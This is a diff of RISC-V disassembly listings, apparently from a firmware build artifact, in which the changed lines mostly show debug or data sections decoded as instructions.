-    14b6:	5a01                	li	s4,-32
-    14b8:	1000                	addi	s0,sp,32
-    14ba:	1f7a                	slli	t5,t5,0x3e
-    14bc:	2040                	fld	fs0,128(s0)
-    14be:	000c                	0xc
+    1480:	2c15                	jal	16b4 <__stack_size+0xeb4>
+    1482:	401f 0620 000d      	0xd0620401f
+    1488:	0900                	addi	s0,sp,144
+    148a:	0008                	0x8
+    148c:	1600                	addi	s0,sp,800
+    148e:	5a01                	li	s4,-32
+    1490:	7202                	flw	ft4,32(sp)
+    1492:	1600                	addi	s0,sp,800
+    1494:	5b01                	li	s6,-32
+    1496:	3001                	jal	c96 <__stack_size+0x496>
+    1498:	0116                	slli	sp,sp,0x5
+    149a:	015c                	addi	a5,sp,132
+    149c:	0040                	addi	s0,sp,4
+    149e:	4e15                	li	t3,5
+    14a0:	401f d520 000c      	0xcd520401f
+    14a6:	2000                	fld	fs0,0(s0)
+    14a8:	0008                	0x8
+    14aa:	1600                	addi	s0,sp,800
+    14ac:	5a01                	li	s4,-32
+    14ae:	0305                	addi	t1,t1,1
+    14b0:	4264                	lw	s1,68(a2)
+    14b2:	2040                	fld	fs0,128(s0)
+    14b4:	1500                	addi	s0,sp,672
+    14b6:	1f5e                	slli	t5,t5,0x37
+    14b8:	2040                	fld	fs0,128(s0)
+    14ba:	0d36                	slli	s10,s10,0xd
+    14bc:	0000                	unimp
+    14be:	083d                	addi	a6,a6,15
     14c0:	0000                	unimp
-    14c2:	14ae                	slli	s1,s1,0x2b
-    14c4:	0000                	unimp
-    14c6:	6126                	flw	ft2,72(sp)
-    14c8:	0030                	addi	a2,sp,8
-    14ca:	d101                	beqz	a0,13ca <__stack_size+0xbca>
-    14cc:	7222                	flw	ft4,40(sp)
-    14ce:	0000                	unimp
-    14d0:	0100                	addi	s0,sp,128
-    14d2:	005a                	c.slli	zero,0x16
-    14d4:	8610                	0x8610
-    14d6:	401f 0c20 0000      	0xc20401f
-    14dc:	c900                	sw	s0,16(a0)
-    14de:	0014                	0x14
-    14e0:	2600                	fld	fs0,8(a2)
-    14e2:	3061                	jal	d6a <__stack_size+0x56a>
-    14e4:	0100                	addi	s0,sp,128
-    14e6:	22d2                	fld	ft5,272(sp)
-    14e8:	0072                	c.slli	zero,0x1c
-    14ea:	0000                	unimp
-    14ec:	5a01                	li	s4,-32
-    14ee:	1200                	addi	s0,sp,288
-    14f0:	1e88                	addi	a0,sp,880
-    14f2:	2040                	fld	fs0,128(s0)
-    14f4:	00001db7          	lui	s11,0x1
-    14f8:	000014e7          	0x14e7
-    14fc:	035a0113          	addi	sp,s4,53
-    1500:	e891                	bnez	s1,1514 <__stack_size+0xd14>
-    1502:	137e                	slli	t1,t1,0x3f
-    1504:	5b01                	li	s6,-32
-    1506:	0305                	addi	t1,t1,1
-    1508:	5630                	lw	a2,104(a2)
-    150a:	2040                	fld	fs0,128(s0)
-    150c:	1200                	addi	s0,sp,288
-    150e:	1e8e                	slli	t4,t4,0x23
-    1510:	2040                	fld	fs0,128(s0)
-    1512:	1d20                	addi	s0,sp,696
-    1514:	0000                	unimp
-    1516:	14fc                	addi	a5,sp,620
-    1518:	0000                	unimp
-    151a:	035a0113          	addi	sp,s4,53
-    151e:	e891                	bnez	s1,1532 <__stack_size+0xd32>
-    1520:	007e                	c.slli	zero,0x1f
-    1522:	d612                	sw	tp,44(sp)
-    1524:	401e                	0x401e
-    1526:	c320                	sw	s0,64(a4)
-    1528:	001d                	c.nop	7
-    152a:	2400                	fld	fs0,8(s0)
-    152c:	0015                	c.nop	5
-    152e:	1300                	addi	s0,sp,416
-    1530:	5a01                	li	s4,-32
-    1532:	7ef89103          	lh	sp,2031(a7)
-    1536:	015b0113          	addi	sp,s6,21
-    153a:	5c01133b          	0x5c01133b
-    153e:	3401                	jal	f3e <__stack_size+0x73e>
-    1540:	055d0113          	addi	sp,s10,85
-    1544:	4019ac03          	lw	s8,1025(s3)
-    1548:	0020                	addi	s0,sp,8
-    154a:	e812                	fsw	ft4,16(sp)
-    154c:	401e                	0x401e
-    154e:	c320                	sw	s0,64(a4)
-    1550:	001d                	c.nop	7
-    1552:	4b00                	lw	s0,16(a4)
-    1554:	0015                	c.nop	5
-    1556:	1300                	addi	s0,sp,416
-    1558:	5a01                	li	s4,-32
-    155a:	8302                	jr	t1
-    155c:	1300                	addi	s0,sp,416
-    155e:	5b01                	li	s6,-32
-    1560:	3b01                	jal	1270 <__stack_size+0xa70>
-    1562:	015c0113          	addi	sp,s8,21
-    1566:	1334                	addi	a3,sp,424
-    1568:	5d01                	li	s10,-32
-    156a:	0305                	addi	t1,t1,1
-    156c:	19ac                	addi	a1,sp,248
-    156e:	2040                	fld	fs0,128(s0)
-    1570:	1200                	addi	s0,sp,288
-    1572:	1ef4                	addi	a3,sp,892
-    1574:	2040                	fld	fs0,128(s0)
-    1576:	1d08                	addi	a0,sp,688
-    1578:	0000                	unimp
-    157a:	1562                	slli	a0,a0,0x38
-    157c:	0000                	unimp
-    157e:	055a0113          	addi	sp,s4,85
-    1582:	40565403          	lhu	s0,1029(a2) # 19405 <__stack_size+0x18c05>
-    1586:	0020                	addi	s0,sp,8
-    1588:	0612                	slli	a2,a2,0x4
-    158a:	401f 0820 001d      	0x1d0820401f
-    1590:	7900                	flw	fs0,48(a0)
-    1592:	0015                	c.nop	5
-    1594:	1300                	addi	s0,sp,416
-    1596:	5a01                	li	s4,-32
-    1598:	0305                	addi	t1,t1,1
-    159a:	5680                	lw	s0,40(a3)
-    159c:	2040                	fld	fs0,128(s0)
-    159e:	1200                	addi	s0,sp,288
-    15a0:	1f1e                	slli	t5,t5,0x27
-    15a2:	2040                	fld	fs0,128(s0)
-    15a4:	1d08                	addi	a0,sp,688
-    15a6:	0000                	unimp
-    15a8:	15a2                	slli	a1,a1,0x28
-    15aa:	0000                	unimp
-    15ac:	055a0113          	addi	sp,s4,85
-    15b0:	4056a003          	lw	zero,1029(a3)
-    15b4:	1320                	addi	s0,sp,424
-    15b6:	5b01                	li	s6,-32
-    15b8:	7802                	flw	fa6,32(sp)
-    15ba:	1300                	addi	s0,sp,416
-    15bc:	5c01                	li	s8,-32
-    15be:	7902                	flw	fs2,32(sp)
-    15c0:	1300                	addi	s0,sp,416
-    15c2:	5d01                	li	s10,-32
-    15c4:	8302                	jr	t1
-    15c6:	0000                	unimp
-    15c8:	3612                	fld	fa2,288(sp)
-    15ca:	401f 0820 001d      	0x1d0820401f
-    15d0:	d400                	sw	s0,40(s0)
-    15d2:	0015                	c.nop	5
-    15d4:	1300                	addi	s0,sp,416
-    15d6:	5a01                	li	s4,-32
-    15d8:	0305                	addi	t1,t1,1
-    15da:	56c0                	lw	s0,44(a3)
-    15dc:	2040                	fld	fs0,128(s0)
-    15de:	055b0113          	addi	sp,s6,85
-    15e2:	0078                	addi	a4,sp,12
-    15e4:	0082                	c.slli64	ra
-    15e6:	5c01131b          	0x5c01131b
-    15ea:	7905                	lui	s2,0xfffe1
-    15ec:	8200                	0x8200
-    15ee:	1b00                	addi	s0,sp,432
-    15f0:	055d0113          	addi	sp,s10,85
-    15f4:	00820083          	lb	ra,8(tp) # 8 <__stack_size-0x7f8>
-    15f8:	a412001b          	0xa412001b
-    15fc:	401f 0820 001d      	0x1d0820401f
-    1602:	eb00                	fsw	fs0,16(a4)
-    1604:	0015                	c.nop	5
-    1606:	1300                	addi	s0,sp,416
-    1608:	5a01                	li	s4,-32
-    160a:	0305                	addi	t1,t1,1
-    160c:	583c                	lw	a5,112(s0)
-    160e:	2040                	fld	fs0,128(s0)
-    1610:	1200                	addi	s0,sp,288
-    1612:	1fb0                	addi	a2,sp,1016
-    1614:	2040                	fld	fs0,128(s0)
-    1616:	1d08                	addi	a0,sp,688
-    1618:	0000                	unimp
-    161a:	1602                	slli	a2,a2,0x20
+    14c2:	0116                	slli	sp,sp,0x5
+    14c4:	055a                	slli	a0,a0,0x16
+    14c6:	40426403          	0x40426403
+    14ca:	1620                	addi	s0,sp,808
+    14cc:	5b01                	li	s6,-32
+    14ce:	7202                	flw	ft4,32(sp)
+    14d0:	0000                	unimp
+    14d2:	c015                	beqz	s0,14f6 <__stack_size+0xcf6>
+    14d4:	401f 1e20 000d      	0xd1e20401f
+    14da:	5600                	lw	s0,40(a2)
+    14dc:	0008                	0x8
+    14de:	1600                	addi	s0,sp,800
+    14e0:	5b01                	li	s6,-32
+    14e2:	7202                	flw	ft4,32(sp)
+    14e4:	1600                	addi	s0,sp,800
+    14e6:	5c01                	li	s8,-32
+    14e8:	4001                	c.li	zero,0
+    14ea:	1500                	addi	s0,sp,672
+    14ec:	1fe4                	addi	s1,sp,1020
+    14ee:	2040                	fld	fs0,128(s0)
+    14f0:	0d42                	slli	s10,s10,0x10
+    14f2:	0000                	unimp
+    14f4:	0000086f          	jal	a6,14f4 <__stack_size+0xcf4>
+    14f8:	0116                	slli	sp,sp,0x5
+    14fa:	025a                	slli	tp,tp,0x16
+    14fc:	0072                	c.slli	zero,0x1c
+    14fe:	0116                	slli	sp,sp,0x5
+    1500:	0040015b          	0x40015b
+    1504:	fa15                	bnez	a2,1438 <__stack_size+0xc38>
+    1506:	401f 4e20 000d      	0xd4e20401f
+    150c:	9000                	0x9000
+    150e:	0008                	0x8
+    1510:	1600                	addi	s0,sp,800
+    1512:	5a01                	li	s4,-32
+    1514:	3101                	jal	1114 <__stack_size+0x914>
+    1516:	0116                	slli	sp,sp,0x5
+    1518:	2803055b          	0x2803055b
+    151c:	403e                	0x403e
+    151e:	1620                	addi	s0,sp,808
+    1520:	5c01                	li	s8,-32
+    1522:	3601                	jal	1022 <__stack_size+0x822>
+    1524:	1500                	addi	s0,sp,672
+    1526:	2008                	fld	fa0,0(s0)
+    1528:	2040                	fld	fs0,128(s0)
+    152a:	0d2a                	slli	s10,s10,0xa
+    152c:	0000                	unimp
+    152e:	000008b3          	add	a7,zero,zero
+    1532:	0116                	slli	sp,sp,0x5
+    1534:	055a                	slli	a0,a0,0x16
+    1536:	40428403          	lb	s0,1028(t0)
+    153a:	1620                	addi	s0,sp,808
+    153c:	5b01                	li	s6,-32
+    153e:	7802                	flw	fa6,32(sp)
+    1540:	1600                	addi	s0,sp,800
+    1542:	5c01                	li	s8,-32
+    1544:	7902                	flw	fs2,32(sp)
+    1546:	0000                	unimp
+    1548:	1015                	c.nop	-27
+    154a:	4020                	lw	s0,64(s0)
+    154c:	5a20                	lw	s0,112(a2)
+    154e:	000d                	c.nop	3
+    1550:	cc00                	sw	s0,24(s0)
+    1552:	0008                	0x8
+    1554:	1600                	addi	s0,sp,800
+    1556:	5a01                	li	s4,-32
+    1558:	7902                	flw	fs2,32(sp)
+    155a:	1600                	addi	s0,sp,800
+    155c:	5b01                	li	s6,-32
+    155e:	3a01                	jal	e6e <__stack_size+0x66e>
+    1560:	1500                	addi	s0,sp,672
+    1562:	201c                	fld	fa5,0(s0)
+    1564:	2040                	fld	fs0,128(s0)
+    1566:	0d2a                	slli	s10,s10,0xa
+    1568:	0000                	unimp
+    156a:	000008e3          	beqz	zero,1d7a <__stack_size+0x157a>
+    156e:	0116                	slli	sp,sp,0x5
+    1570:	055a                	slli	a0,a0,0x16
+    1572:	403e8403          	lb	s0,1027(t4)
+    1576:	0020                	addi	s0,sp,8
+    1578:	2815                	jal	15ac <__stack_size+0xdac>
+    157a:	4020                	lw	s0,64(s0)
+    157c:	2a20                	fld	fs0,80(a2)
+    157e:	000d                	c.nop	3
+    1580:	0000                	unimp
+    1582:	0009                	c.nop	2
+    1584:	1600                	addi	s0,sp,800
+    1586:	5a01                	li	s4,-32
+    1588:	0305                	addi	t1,t1,1
+    158a:	4290                	lw	a2,0(a3)
+    158c:	2040                	fld	fs0,128(s0)
+    158e:	0116                	slli	sp,sp,0x5
+    1590:	0084025b          	0x84025b
+    1594:	1700                	addi	s0,sp,928
+    1596:	203a                	fld	ft0,392(sp)
+    1598:	2040                	fld	fs0,128(s0)
+    159a:	0d4e                	slli	s10,s10,0x13
+    159c:	0000                	unimp
+    159e:	0116                	slli	sp,sp,0x5
+    15a0:	015a                	slli	sp,sp,0x16
+    15a2:	1631                	addi	a2,a2,-20
+    15a4:	5b01                	li	s6,-32
+    15a6:	0305                	addi	t1,t1,1
+    15a8:	3ed0                	fld	fa2,184(a3)
+    15aa:	2040                	fld	fs0,128(s0)
+    15ac:	0116                	slli	sp,sp,0x5
+    15ae:	015c                	addi	a5,sp,132
+    15b0:	0036                	c.slli	zero,0xd
+    15b2:	1a00                	addi	s0,sp,304
+    15b4:	009e                	slli	ra,ra,0x7
+    15b6:	0000                	unimp
+    15b8:	0934                	addi	a3,sp,152
+    15ba:	0000                	unimp
+    15bc:	0000911b          	0x911b
+    15c0:	0100                	addi	s0,sp,128
+    15c2:	0000911b          	0x911b
+    15c6:	3f00                	fld	fs0,56(a4)
+    15c8:	1a00                	addi	s0,sp,304
+    15ca:	0098                	addi	a4,sp,64
+    15cc:	0000                	unimp
+    15ce:	0944                	addi	s1,sp,148
+    15d0:	0000                	unimp
+    15d2:	0000911b          	0x911b
+    15d6:	0100                	addi	s0,sp,128
+    15d8:	0d00                	addi	s0,sp,656
+    15da:	a2b1                	j	1726 <__stack_size+0xf26>
+    15dc:	0000                	unimp
+    15de:	2e01                	jal	18ee <__stack_size+0x10ee>
+    15e0:	7315                	lui	t1,0xfffe5
+    15e2:	0005                	c.nop	1
+    15e4:	6400                	flw	fs0,8(s0)
+    15e6:	401e                	0x401e
+    15e8:	ac20                	fsd	fs0,88(s0)
+    15ea:	0000                	unimp
+    15ec:	0100                	addi	s0,sp,128
+    15ee:	b39c                	fsd	fa5,32(a5)
+    15f0:	000a                	c.slli	zero,0x2
+    15f2:	0f00                	addi	s0,sp,912
+    15f4:	a36e                	fsd	fs11,384(sp)
+    15f6:	0000                	unimp
+    15f8:	2e01                	jal	1908 <__stack_size+0x1108>
+    15fa:	4534                	lw	a3,72(a0)
+    15fc:	0000                	unimp
+    15fe:	6700                	flw	fs0,8(a4)
+    1600:	0006                	c.slli	zero,0x1
+    1602:	0f00                	addi	s0,sp,912
+    1604:	0000a2f3          	csrrs	t0,ustatus,ra
+    1608:	2e01                	jal	1918 <__stack_size+0x1118>
+    160a:	0000984b          	fnmsub.s	fa6,ft1,ft0,ft0,rtz
+    160e:	8800                	0x8800
+    1610:	0006                	c.slli	zero,0x1
+    1612:	1100                	addi	s0,sp,160
+    1614:	a325                	j	1b3c <__stack_size+0x133c>
+    1616:	0000                	unimp
+    1618:	3201                	jal	f18 <__stack_size+0x718>
+    161a:	9808                	0x9808
     161c:	0000                	unimp
-    161e:	055a0113          	addi	sp,s4,85
-    1622:	4056e403          	0x4056e403
-    1626:	0020                	addi	s0,sp,8
-    1628:	bc12                	fsd	ft4,56(sp)
-    162a:	401f 0820 001d      	0x1d0820401f
-    1630:	1900                	addi	s0,sp,176
-    1632:	0016                	c.slli	zero,0x5
-    1634:	1300                	addi	s0,sp,416
-    1636:	5a01                	li	s4,-32
-    1638:	0305                	addi	t1,t1,1
-    163a:	5654                	lw	a3,44(a2)
-    163c:	2040                	fld	fs0,128(s0)
-    163e:	1200                	addi	s0,sp,288
-    1640:	1fcc                	addi	a1,sp,1012
-    1642:	2040                	fld	fs0,128(s0)
-    1644:	1d08                	addi	a0,sp,688
-    1646:	0000                	unimp
-    1648:	163e                	slli	a2,a2,0x2f
-    164a:	0000                	unimp
-    164c:	055a0113          	addi	sp,s4,85
-    1650:	4056f403          	0x4056f403
-    1654:	1320                	addi	s0,sp,424
-    1656:	5b01                	li	s6,-32
-    1658:	8502                	jr	a0
-    165a:	1300                	addi	s0,sp,416
-    165c:	5c01                	li	s8,-32
-    165e:	9104                	0x9104
-    1660:	7edc                	flw	fa5,60(a3)
-    1662:	0006                	c.slli	zero,0x1
-    1664:	dc12                	sw	tp,56(sp)
-    1666:	401f 0820 001d      	0x1d0820401f
-    166c:	6100                	flw	fs0,0(a0)
-    166e:	0016                	c.slli	zero,0x5
-    1670:	1300                	addi	s0,sp,416
-    1672:	5a01                	li	s4,-32
-    1674:	0305                	addi	t1,t1,1
-    1676:	5710                	lw	a2,40(a4)
-    1678:	2040                	fld	fs0,128(s0)
-    167a:	025b0113          	addi	sp,s6,37
-    167e:	01130083          	lb	ra,17(t1)
-    1682:	025c                	addi	a5,sp,260
-    1684:	0084                	addi	s1,sp,64
-    1686:	1200                	addi	s0,sp,288
-    1688:	1ff0                	addi	a2,sp,1020
-    168a:	2040                	fld	fs0,128(s0)
-    168c:	1d08                	addi	a0,sp,688
-    168e:	0000                	unimp
-    1690:	1688                	addi	a0,sp,864
+    161e:	b400                	fsd	fs0,40(s0)
+    1620:	0006                	c.slli	zero,0x1
+    1622:	1100                	addi	s0,sp,160
+    1624:	a38a                	fsd	ft2,448(sp)
+    1626:	0000                	unimp
+    1628:	3301                	jal	1328 <__stack_size+0xb28>
+    162a:	0000580b          	0x580b
+    162e:	dd00                	sw	s0,56(a0)
+    1630:	0006                	c.slli	zero,0x1
+    1632:	0c00                	addi	s0,sp,528
+    1634:	0000a2cf          	fnmadd.s	ft5,ft1,ft0,ft0,rdn
+    1638:	3701                	jal	1538 <__stack_size+0xd38>
+    163a:	0000580b          	0x580b
+    163e:	1100                	addi	s0,sp,160
+    1640:	a3a4                	fsd	fs1,64(a5)
+    1642:	0000                	unimp
+    1644:	3801                	jal	e54 <__stack_size+0x654>
+    1646:	0000580b          	0x580b
+    164a:	f000                	fsw	fs0,32(s0)
+    164c:	0006                	c.slli	zero,0x1
+    164e:	1100                	addi	s0,sp,160
+    1650:	a394                	fsd	fa3,0(a5)
+    1652:	0000                	unimp
+    1654:	3901                	jal	1264 <__stack_size+0xa64>
+    1656:	0000580b          	0x580b
+    165a:	1a00                	addi	s0,sp,304
+    165c:	1c000007          	0x1c000007
+    1660:	6d7a                	flw	fs10,156(sp)
+    1662:	0100                	addi	s0,sp,128
+    1664:	164c                	addi	a1,sp,804
+    1666:	00000573          	0x573
+    166a:	1818                	addi	a4,sp,48
+    166c:	0001                	nop
+    166e:	ff00                	fsw	fs0,56(a4)
+    1670:	0009                	c.nop	2
+    1672:	1100                	addi	s0,sp,160
+    1674:	a3ad                	j	1bde <__stack_size+0x13de>
+    1676:	0000                	unimp
+    1678:	3d01                	jal	1488 <__stack_size+0xc88>
+    167a:	580d                	li	a6,-29
+    167c:	0000                	unimp
+    167e:	2e00                	fld	fs0,24(a2)
+    1680:	17000007          	0x17000007
+    1684:	1ed6                	slli	t4,t4,0x35
+    1686:	2040                	fld	fs0,128(s0)
+    1688:	0d1e                	slli	s10,s10,0x7
+    168a:	0000                	unimp
+    168c:	0116                	slli	sp,sp,0x5
+    168e:	0079025b          	0x79025b
     1692:	0000                	unimp
-    1694:	055a0113          	addi	sp,s4,85
-    1698:	40572c03          	lw	s8,1029(a4) # fffe3405 <_heap_end+0x7ffd4c05>
-    169c:	1320                	addi	s0,sp,424
-    169e:	5b01                	li	s6,-32
-    16a0:	8304                	0x8304
-    16a2:	3600                	fld	fs0,40(a2)
-    16a4:	1325                	addi	t1,t1,-23
-    16a6:	5c01                	li	s8,-32
-    16a8:	8404                	0x8404
-    16aa:	3600                	fld	fs0,40(a2)
-    16ac:	0025                	c.nop	9
-    16ae:	fc12                	fsw	ft4,56(sp)
-    16b0:	401f 0820 001d      	0x1d0820401f
-    16b6:	9f00                	0x9f00
-    16b8:	0016                	c.slli	zero,0x5
-    16ba:	1300                	addi	s0,sp,416
-    16bc:	5a01                	li	s4,-32
-    16be:	0305                	addi	t1,t1,1
-    16c0:	583c                	lw	a5,112(s0)
-    16c2:	2040                	fld	fs0,128(s0)
-    16c4:	1200                	addi	s0,sp,288
-    16c6:	2008                	fld	fa0,0(s0)
-    16c8:	2040                	fld	fs0,128(s0)
-    16ca:	1d08                	addi	a0,sp,688
+    1694:	3018                	fld	fa4,32(s0)
+    1696:	0001                	nop
+    1698:	4a00                	lw	s0,16(a2)
+    169a:	000a                	c.slli	zero,0x2
+    169c:	1400                	addi	s0,sp,544
+    169e:	3061                	jal	f26 <__stack_size+0x726>
+    16a0:	0100                	addi	s0,sp,128
+    16a2:	1549                	addi	a0,a0,-14
+    16a4:	0000006b          	0x6b
+    16a8:	5a01                	li	s4,-32
+    16aa:	6114                	flw	fa3,0(a0)
+    16ac:	0032                	c.slli	zero,0xc
+    16ae:	4901                	li	s2,0
+    16b0:	6b15                	lui	s6,0x5
+    16b2:	0000                	unimp
+    16b4:	0100                	addi	s0,sp,128
+    16b6:	145c                	addi	a5,sp,548
+    16b8:	3361                	jal	1440 <__stack_size+0xc40>
+    16ba:	0100                	addi	s0,sp,128
+    16bc:	1549                	addi	a0,a0,-14
+    16be:	0000006b          	0x6b
+    16c2:	5d01                	li	s10,-32
+    16c4:	6114                	flw	fa3,0(a0)
+    16c6:	0034                	addi	a3,sp,8
+    16c8:	4901                	li	s2,0
+    16ca:	6b15                	lui	s6,0x5
     16cc:	0000                	unimp
-    16ce:	16b6                	slli	a3,a3,0x2d
-    16d0:	0000                	unimp
-    16d2:	055a0113          	addi	sp,s4,85
-    16d6:	40574c03          	lbu	s8,1029(a4)
-    16da:	0020                	addi	s0,sp,8
-    16dc:	1612                	slli	a2,a2,0x24
-    16de:	4020                	lw	s0,64(s0)
-    16e0:	0820                	addi	s0,sp,24
-    16e2:	001d                	c.nop	7
-    16e4:	cd00                	sw	s0,24(a0)
-    16e6:	0016                	c.slli	zero,0x5
-    16e8:	1300                	addi	s0,sp,416
-    16ea:	5a01                	li	s4,-32
-    16ec:	0305                	addi	t1,t1,1
-    16ee:	5654                	lw	a3,44(a2)
-    16f0:	2040                	fld	fs0,128(s0)
-    16f2:	1200                	addi	s0,sp,288
-    16f4:	202c                	fld	fa1,64(s0)
-    16f6:	2040                	fld	fs0,128(s0)
-    16f8:	1d08                	addi	a0,sp,688
-    16fa:	0000                	unimp
-    16fc:	16f5                	addi	a3,a3,-3
-    16fe:	0000                	unimp
-    1700:	055a0113          	addi	sp,s4,85
-    1704:	40575c03          	lhu	s8,1029(a4)
-    1708:	1320                	addi	s0,sp,424
-    170a:	5b01                	li	s6,-32
-    170c:	8605                	srai	a2,a2,0x1
-    170e:	8200                	0x8200
-    1710:	1a00                	addi	s0,sp,304
-    1712:	045c0113          	addi	sp,s8,69
-    1716:	25400087          	0x25400087
-    171a:	1200                	addi	s0,sp,288
-    171c:	2042                	fld	ft0,16(sp)
-    171e:	2040                	fld	fs0,128(s0)
-    1720:	1d08                	addi	a0,sp,688
-    1722:	0000                	unimp
-    1724:	171a                	slli	a4,a4,0x26
-    1726:	0000                	unimp
-    1728:	055a0113          	addi	sp,s4,85
-    172c:	40577803          	0x40577803
-    1730:	1320                	addi	s0,sp,424
-    1732:	5b01                	li	s6,-32
-    1734:	7802                	flw	fa6,32(sp)
-    1736:	1300                	addi	s0,sp,416
-    1738:	5c01                	li	s8,-32
-    173a:	7904                	flw	fs1,48(a0)
-    173c:	4000                	lw	s0,0(s0)
-    173e:	0025                	c.nop	9
-    1740:	4020561b          	0x4020561b
-    1744:	0820                	addi	s0,sp,24
-    1746:	001d                	c.nop	7
-    1748:	1300                	addi	s0,sp,416
-    174a:	5a01                	li	s4,-32
-    174c:	0305                	addi	t1,t1,1
-    174e:	5794                	lw	a3,40(a5)
-    1750:	2040                	fld	fs0,128(s0)
-    1752:	045b0113          	addi	sp,s6,69
-    1756:	0078                	addi	a4,sp,12
-    1758:	2536                	fld	fa0,328(sp)
-    175a:	045c0113          	addi	sp,s8,69
-    175e:	0079                	c.nop	30
-    1760:	2546                	fld	fa0,80(sp)
-    1762:	0000                	unimp
-    1764:	3008                	fld	fa0,32(s0)
-    1766:	0000                	unimp
-    1768:	4f00                	lw	s0,24(a4)
-    176a:	29000017          	auipc	zero,0x29000
-    176e:	00a0                	addi	s0,sp,72
-    1770:	0000                	unimp
-    1772:	3a01                	jal	1082 <__stack_size+0x882>
-    1774:	0800                	addi	s0,sp,16
-    1776:	0030                	addi	a2,sp,8
-    1778:	0000                	unimp
-    177a:	1760                	addi	s0,sp,940
+    16ce:	0100                	addi	s0,sp,128
+    16d0:	145e                	slli	s0,s0,0x37
+    16d2:	3561                	jal	155a <__stack_size+0xd5a>
+    16d4:	0100                	addi	s0,sp,128
+    16d6:	1549                	addi	a0,a0,-14
+    16d8:	0000006b          	0x6b
+    16dc:	5f01                	li	t5,-32
+    16de:	1500                	addi	s0,sp,672
+    16e0:	1e84                	addi	s1,sp,880
+    16e2:	2040                	fld	fs0,128(s0)
+    16e4:	0cd5                	addi	s9,s9,21
+    16e6:	0000                	unimp
+    16e8:	0a61                	addi	s4,s4,24
+    16ea:	0000                	unimp
+    16ec:	0116                	slli	sp,sp,0x5
+    16ee:	055a                	slli	a0,a0,0x16
+    16f0:	40426403          	0x40426403
+    16f4:	0020                	addi	s0,sp,8
+    16f6:	9215                	srli	a2,a2,0x25
+    16f8:	401e                	0x401e
+    16fa:	d520                	sw	s0,104(a0)
+    16fc:	000c                	0xc
+    16fe:	7800                	flw	fs0,48(s0)
+    1700:	000a                	c.slli	zero,0x2
+    1702:	1600                	addi	s0,sp,800
+    1704:	5a01                	li	s4,-32
+    1706:	0305                	addi	t1,t1,1
+    1708:	4264                	lw	s1,68(a2)
+    170a:	2040                	fld	fs0,128(s0)
+    170c:	1500                	addi	s0,sp,672
+    170e:	1ea6                	slli	t4,t4,0x29
+    1710:	2040                	fld	fs0,128(s0)
+    1712:	0cfa                	slli	s9,s9,0x1e
+    1714:	0000                	unimp
+    1716:	0a8c                	addi	a1,sp,336
+    1718:	0000                	unimp
+    171a:	0116                	slli	sp,sp,0x5
+    171c:	025a                	slli	tp,tp,0x16
+    171e:	0078                	addi	a4,sp,12
+    1720:	1500                	addi	s0,sp,672
+    1722:	1eb4                	addi	a3,sp,888
+    1724:	2040                	fld	fs0,128(s0)
+    1726:	0cd5                	addi	s9,s9,21
+    1728:	0000                	unimp
+    172a:	00000aa3          	sb	zero,21(zero) # 15 <__stack_size-0x7eb>
+    172e:	0116                	slli	sp,sp,0x5
+    1730:	055a                	slli	a0,a0,0x16
+    1732:	40426403          	0x40426403
+    1736:	0020                	addi	s0,sp,8
+    1738:	101d                	c.nop	-25
+    173a:	401f 6620 000d      	0xd6620401f
+    1740:	1600                	addi	s0,sp,800
+    1742:	5b01                	li	s6,-32
+    1744:	3101                	jal	1344 <__stack_size+0xb44>
+    1746:	0000                	unimp
+    1748:	a51e                	fsd	ft7,136(sp)
+    174a:	00a2                	slli	ra,ra,0x8
+    174c:	0100                	addi	s0,sp,128
+    174e:	00000603          	lb	a2,0(zero) # 0 <__stack_size-0x800>
+    1752:	0000                	unimp
+    1754:	0000                	unimp
+    1756:	0000                	unimp
+    1758:	9c01                	0x9c01
+    175a:	00000caf          	0xcaf
+    175e:	00379d0f          	0x379d0f
+    1762:	0100                	addi	s0,sp,128
+    1764:	00981803          	lh	a6,9(a6)
+    1768:	0000                	unimp
+    176a:	074d                	addi	a4,a4,19
+    176c:	0000                	unimp
+    176e:	7314                	flw	fa3,32(a4)
+    1770:	7274                	flw	fa3,100(a2)
+    1772:	0100                	addi	s0,sp,128
+    1774:	0e05                	addi	t3,t3,1
+    1776:	00000caf          	0xcaf
+    177a:	0305                	addi	t1,t1,1
     177c:	0000                	unimp
-    177e:	a029                	j	1788 <__stack_size+0xf88>
-    1780:	0000                	unimp
+    177e:	0000                	unimp
+    1780:	7014                	flw	fa3,32(s0)
     1782:	0100                	addi	s0,sp,128
-    1784:	003a                	c.slli	zero,0xe
-    1786:	502a                	0x502a
-    1788:	0100004b          	fnmsub.s	ft0,ft0,fa6,ft0,rne
-    178c:	069f 0030 0000      	0x30069f
-    1792:	19ac                	addi	a1,sp,248
-    1794:	2040                	fld	fs0,128(s0)
-    1796:	0012                	c.slli	zero,0x4
-    1798:	0000                	unimp
-    179a:	9c01                	0x9c01
-    179c:	17b1                	addi	a5,a5,-20
-    179e:	0000                	unimp
-    17a0:	0100612b          	0x100612b
-    17a4:	1a9f 010e 0000      	0x10e1a9f
-    17aa:	00000a57          	0xa57
-    17ae:	622c                	flw	fa1,64(a2)
-    17b0:	0100                	addi	s0,sp,128
-    17b2:	299f 010e 0000      	0x10e299f
-    17b8:	5b01                	li	s6,-32
-    17ba:	00696127          	0x696127
-    17be:	a101                	j	1bbe <__stack_size+0x13be>
-    17c0:	00009b0f          	0x9b0f
-    17c4:	7800                	flw	fs0,48(s0)
-    17c6:	000a                	c.slli	zero,0x2
-    17c8:	2600                	fld	fs0,8(a2)
-    17ca:	6962                	flw	fs2,24(sp)
-    17cc:	0100                	addi	s0,sp,128
-    17ce:	0fa2                	slli	t6,t6,0x8
-    17d0:	0000009b          	0x9b
-    17d4:	5f01                	li	t5,-32
-    17d6:	2300                	fld	fs0,0(a4)
-    17d8:	9316                	add	t1,t1,t0
-    17da:	0000                	unimp
-    17dc:	6f01                	0x6f01
-    17de:	401c8a07          	0x401c8a07
-    17e2:	7a20                	flw	fs0,112(a2)
-    17e4:	0001                	nop
-    17e6:	0100                	addi	s0,sp,128
-    17e8:	cc9c                	sw	a5,24(s1)
-    17ea:	0019                	c.nop	6
-    17ec:	2400                	fld	fs0,8(s0)
-    17ee:	8ff2                	mv	t6,t3
-    17f0:	0000                	unimp
-    17f2:	7301                	lui	t1,0xfffe0
-    17f4:	7916                	flw	fs2,100(sp)
-    17f6:	0000                	unimp
-    17f8:	b000                	fsd	fs0,32(s0)
-    17fa:	000a                	c.slli	zero,0x2
-    17fc:	2400                	fld	fs0,8(s0)
-    17fe:	6d9e                	flw	fs11,196(sp)
-    1800:	0000                	unimp
-    1802:	7401                	lui	s0,0xfffe0
-    1804:	9b0c                	0x9b0c
-    1806:	0000                	unimp
